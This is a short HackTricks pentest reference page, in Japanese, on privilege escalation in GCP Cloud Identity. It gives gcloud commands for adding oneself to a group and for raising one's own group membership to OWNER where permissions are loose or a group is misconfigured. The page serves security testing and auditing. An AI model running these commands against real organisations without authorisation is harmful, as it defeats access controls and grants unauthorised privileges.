# GCP - Cloudidentity Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Cloudidentity

cloudidentity サービスの詳細については、このページを確認してください：

{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}

### グループに自分を追加する

ユーザーに十分な権限があるか、グループが誤って設定されている場合、新しいグループのメンバーに自分自身を追加できる可能性があります：

<details><summary>Cloud Identity グループに自分を追加する</summary>
```bash
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
# If --roles isn't specified you will get MEMBER
```
</details>

### グループのメンバーシップを変更する

ユーザーが十分な権限を持っているか、グループが誤設定されている場合、所属するグループで自分をOWNERにすることができるかもしれません:

<details><summary>OWNERになるためにグループのメンバーシップを変更する</summary>
```bash
# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>

# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
